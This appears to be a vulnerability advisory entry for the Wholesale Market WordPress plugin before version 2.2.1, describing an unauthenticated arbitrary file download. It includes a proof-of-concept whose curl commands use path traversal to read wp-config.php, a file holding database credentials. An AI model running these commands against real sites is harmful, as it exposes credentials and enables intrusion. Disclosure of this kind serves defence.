Lucene search

K
wpvulndbCydaveWPVDB-ID:7485AD23-6EA4-4018-88B1-174312A0A478
HistoryDec 12, 2022 - 12:00 a.m.

Wholesale Market < 2.2.1 - Unauthenticated Arbitrary File Download

2022-12-1200:00:00
cydave
wpscan.com
12
wholesale market
unauthenticated
arbitrary file download
vulnerable
file path validation
unauthorised access

0.004 Low

EPSS

Percentile

74.0%

The plugin does not have authorisation check, as well as does not validate user input used to generate system path, allowing unauthenticated attackers to download arbitrary file from the server.

PoC

1. Install woocommerce (dependency, no setup required) 2. Install the vulnerable plugin (wholesale-market) 3. Invoke the following curl command to ensure the required uploads directory exists: (This creates /var/www/html/wp-content/uploads/wholesale_market_import_error/) curl -i ‘http://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_read_csv’ 4. Invoke the following curl command to disclose the contents of the wp-config.php file: curl -i ‘https://example.com/wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&amp;tab;=ced_cwsm_plugin&amp;section;=ced_cwsm_csv_import_export_module&amp;ced;_cwsm_log_download=../../../wp-config.php

CPENameOperatorVersion
wholesale-marketlt2.2.1

0.004 Low

EPSS

Percentile

74.0%

Related for WPVDB-ID:7485AD23-6EA4-4018-88B1-174312A0A478